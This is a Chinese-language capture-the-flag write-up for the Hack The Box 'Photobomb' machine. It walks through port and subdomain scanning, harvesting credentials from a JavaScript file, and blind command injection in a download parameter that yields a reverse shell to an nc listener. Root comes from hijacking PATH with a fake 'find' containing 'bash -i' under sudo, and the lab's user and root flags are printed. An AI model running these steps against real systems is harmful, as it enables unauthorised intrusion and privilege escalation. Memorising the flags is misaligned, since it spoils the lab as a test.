HTB:Photobomb[WriteUP]

目录

连接至HTB服务器并启动靶机

使用nmap对靶机进行端口开放扫描

再次使用nmap对靶机开放端口进行脚本、服务扫描

使用ffuf进行简单的子域名扫描

使用浏览器直接访问该域名

选取一个照片进行下载,使用Yakit进行抓包

USER_FLAG:a9afd9220ae2b573190f0ae0d9952f1c

特权提升

新建一个find文件(Shell)

ROOT_FLAG:2476206b2085f447038e0b03792bf147


连接至HTB服务器并启动靶机

靶机IP:10.10.11.182

分配IP:10.10.16.7


使用nmap对靶机进行端口开放扫描

复制代码
nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.182

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.182

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 19:43 EST

Nmap scan report for 10.10.11.182 (10.10.11.182)

Host is up (0.16s latency).

Not shown: 65533 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 45.53 seconds

再次使用nmap对靶机开放端口进行脚本、服务扫描

复制代码
nmap -p 22,80 -sCV 10.10.11.182

可以看到这里访问靶机80端口被重定位,将其写入hosts中

复制代码
echo '10.10.11.182 photobomb.htb' >> /etc/hosts

使用ffuf进行简单的子域名扫描

复制代码
ffuf -u http://photobomb.htb/ -H 'Host: FUZZ.photobomb.htb' -w ../dictionary/subdomains-top20000.txt -t 200 -fc 302

使用浏览器直接访问该域名

点击click here会跳出认证框

按住Ctrl+U查看网页源码,可以找到一个JS文件:photobomb.js

直接点击查看其内容,获得一份凭证

账户:pH0t0

密码:b0Mb!

使用该凭证进行登录进入相册页

选取一个照片进行下载,使用Yakit进行抓包

经过测试:filetype这个参数点是无回显出网RCE(这里ping务必选定-c参数选择此数不然就会一直ping)

本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# nc -lvnp 1425

listening on [any] 1425 ...

connect to [10.10.16.7] from (UNKNOWN) [10.10.11.182] 56584

bash: cannot set terminal process group (696): Inappropriate ioctl for device

bash: no job control in this shell

wizard@photobomb:~/photobomb$ whoami

whoami

wizard

查找user_flag位置并查看其内容

wizard@photobomb:~/photobomb$ find / -name 'user.txt' 2>/dev/null

find / -name 'user.txt' 2>/dev/null

/home/wizard/user.txt

wizard@photobomb:~/photobomb$ cat /home/wizard/user.txt

cat /home/wizard/user.txt

a9afd9220ae2b573190f0ae0d9952f1c

USER_FLAG:a9afd9220ae2b573190f0ae0d9952f1c


特权提升

查看该用户可特权运行的命令

复制代码
sudo -l

wizard@photobomb:~/photobomb$ sudo -l

sudo -l

Matching Defaults entries for wizard on photobomb:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:

(root) SETENV: NOPASSWD: /opt/cleanup.sh

提升TTY

复制代码
python3 -c 'import pty; pty.spawn("sh")'

查看**/opt/cleanup.sh**内容

复制代码
cat /opt/cleanup.sh

$ cat /opt/cleanup.sh

cat /opt/cleanup.sh

#!/bin/bash

. /opt/.bashrc

cd /home/wizard/photobomb

clean up log files

if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]

then

/bin/cat log/photobomb.log > log/photobomb.log.old

/usr/bin/truncate -s0 log/photobomb.log

fi

protect the priceless originals

find source_images -type f -name '*.jpg' -exec chown root:root {} \;

上述代码中,我主要关注这一部分,bashrc文件通常是bash环境配置文件

但是这个文件默认应该不在/opt目录下,所以我尝试寻找该系统的所有bashrc文件路径

复制代码
find / -name '*bashrc*' -type f 2>/dev/null

$ find / -name '*bashrc*' -type f 2>/dev/null

find / -name '*bashrc*' -type f 2>/dev/null

/opt/.bashrc

/usr/share/byobu/profiles/bashrc

/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bashrc

/usr/share/doc/adduser/examples/adduser.local.conf.examples/bash.bashrc

/usr/share/base-files/dot.bashrc

/usr/lib/python3/dist-packages/pexpect/bashrc.sh

/etc/skel/.bashrc
/etc/bash.bashrc

/home/wizard/.bashrc

使用diff命令将/opt/.bashrc文件与/etc/bash.bashrc文件进行内容比对

$ diff /etc/bash.bashrc /opt/.bashrc

diff /etc/bash.bashrc /opt/.bashrc

5a6,11

> # Jameson: ensure that snaps don't interfere, 'cos they are dumb

> PATH=${PATH/:\/snap\/bin/}

>

> # Jameson: caused problems with testing whether to rotate the log file

> enable -n [ # ]

>

可以看到,该**/opt/cleanup.sh** 脚本,引用的环境配置文件**/opt/.bashrc** 中,关于Shell所运行的二进制文件路径配置与系统默认文件(/etc/bash.bashrc)不同

系统中的**/etc/bash.bashrc** 文件使用的是**/bin/**绝对路径从这开始读取

而**/opt/.bashrc**文件并未配置二进制文件寻找路径

这意味着如果我们运行**/opt/cleanup.sh** 脚本,它将会从**$PATH**环境变量中的所有目录中查找二进制文件

再次查看脚本内容,在最后一行中可见使用的find命令并非绝对路径

提权思路就很简单了,当前目录下新建一个find 命令,并将当前目录写入**$PATH**环境变量头部

与此同时,用这临时设置的环境变量特权(sudo )运行**/opt/cleanup.sh**脚本

新建一个find文件(Shell)

复制代码
echo 'bash -i' > find

为find文件赋执行权限

复制代码
chmod +x find

配置临时环境变量并启动**/opt/cleanup.sh**脚本

复制代码
sudo PATH=$PWD:$PATH /opt/cleanup.sh

wizard@photobomb:~$ echo 'bash -i' > find

echo 'bash -i' > find

wizard@photobomb:~$ chmod +x find

chmod +x find

wizard@photobomb:~ sudo PATH=PWD:$PATH /opt/cleanup.sh

sudo PATH=PWD:PATH /opt/cleanup.sh

root@photobomb:/home/wizard/photobomb# whoami

whoami

root

在/root目录下找到了root.txt

root@photobomb:/# cd /root

cd /root

root@photobomb:~# ls

ls

root.txt

root@photobomb:~# cat root.txt

cat root.txt

2476206b2085f447038e0b03792bf147

ROOT_FLAG:2476206b2085f447038e0b03792bf147

相关推荐
枷锁—sha9 小时前
【SRC】SQL注入WAF 绕过应对策略(二)
网络·数据库·python·sql·安全·网络安全
天荒地老笑话么16 小时前
静态 IP 规划:掩码/网关/DNS 的正确组合
网络·网络协议·tcp/ip·网络安全
大方子1 天前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络2 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd2 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你2 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha3 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1193 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20253 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信